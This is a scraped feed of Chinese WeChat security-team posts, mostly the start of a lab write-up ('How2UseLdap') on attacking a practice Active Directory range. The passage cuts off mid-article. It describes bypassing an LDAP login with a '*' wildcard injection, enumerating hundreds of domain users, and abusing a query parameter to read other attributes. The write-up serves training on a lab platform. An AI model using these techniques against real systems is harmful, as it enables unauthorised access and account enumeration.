href="https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-active-directory.md" target="_blank">https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/linux-active-directory.md</a></span></p></section><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">环境获取</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本挑战为xbitsplatform公开环境，师傅可以直接通过 <span style="text-align:left;line-height:1.75;color:#576b95;">www.xbitsplatform.com</span> 访问平台。同时环境中使用的工具，和该靶场相关笔记也会上传到知识星球。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">知识星球</h3><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="1.1893333333333334" title="null" data-type="png" data-w="750" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;width: 348px;height: 414px;" src="https://wechat2rss.xlab.app/img-proxy/?k=32519c4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk8DWeWWZyojvpQIRESLPKpib3FHKhmPvxpc6vuu9zRxMAniaMf3tB7NoA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">团队其他文章</h3><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500440&amp;idx=1&amp;sn=138b43f66e7e4107b5a957712620d884&amp;chksm=c0e8a6caf79f2fdc7ec261842b089bdd1c22ab39d3393640a5c39bb9db991b210990e2b190a6&amp;scene=21#wechat_redirect" textvalue="域渗透-How2UseLdap" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">域渗透-How2UseLdap</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500331&amp;idx=1&amp;sn=4f2661ed53573844425739960cad6817&amp;chksm=c0e8a679f79f2f6f3be01c6bf78e62280700d1d1599d8c916f6d29b284a0b61bc8e55d9daa76&amp;scene=21#wechat_redirect" textvalue="域渗透-How2PwnACLs" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">域渗透-How2PwnACLs</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499415&amp;idx=1&amp;sn=3a8ff9e5f4596f01255f9ef11b2cd425&amp;chksm=c0e89ac5f79f13d397fba963cdd2be8d934698033c183f2b5b993e98d18b51d10c9ddb53abda&amp;scene=21#wechat_redirect" textvalue="Java安全-记一次实战使用memoryshell" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 15px;" data-linktype="2"><span style="font-size: 15px;">Java安全-记一次实战使用memoryshell</span></a><br/><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">了解更多关于xbitsplatform的信息：</h3><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247499639&amp;idx=1&amp;sn=18afd245d529c8d74ac52a6cb62da68a&amp;chksm=c0e89b25f79f123389e8c3e781bd7f14a999ba3e731b8b1199d1161c1055d4f55bfad8155dcf&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform公测版正式上线啦" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform公测版正式上线啦</span></a><br/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" textvalue="xBitsPlatform使用说明" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform使用说明</span></a><br/><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">加入内部讨论群</h2></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0082101806239738" data-s="300,640" style="width: 236px;height: 238px;" data-type="png" data-w="609" src="https://wechat2rss.xlab.app/img-proxy/?k=5e8d08c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk81NgaeeMnKCsuINKCfjjI7Iy7PvUSVwibHehvrhA6tUYWTYeAictF51w%2F640%3Fwx_fmt%3Dpng"/></p></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500867">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=793c58e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500867%26idx%3D1%26sn%3Db0972455409f2c2f98c1078be18dc1fe%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 15 Jun 2023 17:55:00 +0800</pubDate>
    </item>
    <item>
      <title>域渗透-How2UseLdap</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500440&amp;idx=1&amp;sn=138b43f66e7e4107b5a957712620d884</link>
      <description>前言在域环境中Ldap属于比较基础，且重要的知识点，通过了解Ldap的相关内容，可以快速的判断域内的环境。以</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-05-12 09:20</span> <span style="display: inline-block;">江苏</span>
</p>

<p>前言在域环境中Ldap属于比较基础，且重要的知识点，通过了解Ldap的相关内容，可以快速的判断域内的环境。以</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d080d6a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8797PV88iarNPHiamdSp5cdWQ1bdI45gwFtMnMePiaKcHtk700jla6EwuzA2KY2SDqT5V9rc0CItU13AMg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-v-b4e935ba=""><section data-v-b4e935ba=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;margin-top: 0;">前言</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在域环境中Ldap属于比较基础，且重要的知识点，通过了解Ldap的相关内容，可以快速的判断域内的环境。以及可能存在的缺陷，常常会有人遇到ldap的相关的应用，因为对ldap一知半解，从而失去了利用机会，我们在平台中配套了对应的实战环境，目前环境将作为公开挑战已上线xbitsplatform靶场平台。</p></section></section><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h1 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:2em auto 1em;padding:0 1em;border-bottom:2px solid rgba(15, 76, 129, 1);color:#3f3f3f;margin-top: 0;">团队靶场-How2UseLdap Write Up<br/></h1><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">任务目标</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">获取到win10机器中的flag。</p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">攻击路径</h2><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3142559833506764" title="null" data-type="png" data-w="961" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=be60f022&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd01kpfKC99LSia1iagqBzyq7AWnx0HTHEJMRQWRBtW2VT4RXM1gb6lKicwA%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">涉及的主要知识点</h2></section><section data-v-b4e935ba=""><section data-v-b4e935ba=""><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;margin-top: 0;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• Ldap 相关利用</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 域外凭证利用</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 基于资源的约束委派</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 域控DNS获取<br/></p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• GPO 策略下发</p><p><br/></p></li></ul></section></section><section data-v-b4e935ba=""><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">机器情况</h2><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• DC 10.0.0.10 [135,445,389,88]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• Ldap 10.0.0.177 [80]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• flag 10.0.0.12 [135,139,445]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• rbcd win8 10.0.0.13 [135,139,445]</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• rbcd2 win12 10.0.0.14 [135,139,445]</p></li></ul><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">wirteup</h2><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">Ldap 信息获取</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">首先通过对 IP 段进行扫描判断域内主机，以及域控机器</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.19203413940256045" title="null" data-type="png" data-w="703" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e7d4f165&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0sLoIcQjcOCOicsMVjZ6lwAc1AKV1y1bmsNbqHAP1zt6icO0ROabwlyJA%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.032407407407407406" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c0620812&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0cNUibQ8CJCibZxGwT4adJ80jyiaH5cwz1oy3qkl6Jzj9k0RtYPNEiawGzw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">拿到资产信息后首先对已知 ip 进行端口扫描，发现只有<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">10.0.0.177</code>这台机器开放了 Web 端口。其他机器都开放了一些常规的端口，没有可以进行利用的点。目前主流的突破口都是从 web 方面进行突破，下面主要测试该 Web 应用是否存在一些可以利用的地方。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">打开网站后，发现是员工信息查询页面，根据上面&#34;请输入域账户&#34;的提示，判断使用了域环境的验证方式。域环境验证的方式主要可以通过 Ldap 与 Kerberos 进行验证。这里需要确定他使用的验证方式。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.45740740740740743" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=37a221b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0EfgxbGkg1bGNGgaJHZ20z5VJCsQldyFI769XJSDTgkyHfp9M5Irpgw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">一般发现 web 应用使用什么样的验证方式，可以使用下面几种方式来确定：</p><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 通过网站页面信息</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 网站验证方式选择框</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 数据包</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 网站源码泄露</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• phpinfo</p></li></ul><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">进行目录扫描发现敏感文件，<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">phpinfo.php</code>,<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">readme.txt</code>。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5101851851851852" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5b540911&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0vpapk4Kz4UN444MAj1W8P4BTjbBVQKeUeS41pic1gek1qJ38DwQLicSA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">当目标使用一些域内验证技术的时候需要开启对应的扩展，通过 phpinfo，看到了目标开启了 ldap 支持。可以推断使用了 ldap 方式对用户进行验证。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.575" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=97b585d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0Ubm7VrOOGsubMY3dVUM8bqvuX6UW1sD4a9lv2YqaGNFyLfFFUmHHMQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">如果是 ldap 验证的话，在这里可以尝试利用 ldap 注入，来进行测试，账户登录一般使用<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">filter加上对应的ldap语法</code>去对值进行匹配，在语法中*表示匹配所有。通过在 ldap 登录处尝试输入通配符<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">*</code>，使其成功匹配。发现可以成功登录。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">在登录过后发现，存在几百个用户，到这一步，我们就获取到了域内存在的账户，正常来说我们可以尝试直接对账户进行密码喷洒，但是对全部账户进行喷洒的话，动静会很大。这一步暂且停止。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5824074074074074" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f9b97959&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd09pY2Lfk4MNSthDAOFqgsE3UltIbDCeLQmfxRZbAGqxkYSnssVwxp6g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过观察之前的登录页面发现具有查询手机号和邮箱这两个选项，抓包发现其中的 attr 参数中的值，为 ldap 目录中用户对应的属性名，如 email 为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">userprincipalname</code>,手机号为<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">homePhone</code>，这里笔者想既然应用直接使用用户属性中的名称，那么能否将该值设置为用户中的其他属性，从而显示其他的内容呢？</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.6898148148148148" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b7e605a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8795lTrNicwjaEYibOEhDF9icsd0VEylk5ZymZx69L10tf5ZcHCNVOmXjxog3mubP8fyKv6tAeXib31ZCEg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">结合上面遇到的问题，可以通过对域内账户的权限进行判断，找到一些合适的账户。对于账户权限的判断，在 ldap 中可以通过用户属性<code style="text-align:left;line-height:1.75;font-size:90%;color:#d14;background:rgba(27,31,35,.05);padding:3px 5px;border-radius:4px;word-break:break-all;">useraccountcontrol</code>对账户状态进行判断。</p><h3 style="text-align:left;line-height:1.2;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.1em;font-weight:bold;margin:2em 8px 0.75em 0;padding-left:8px;border-left:3px solid rgba(15, 76, 129, 1);color:#3f3f3f;">ldap 账户状态判断</h3><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino 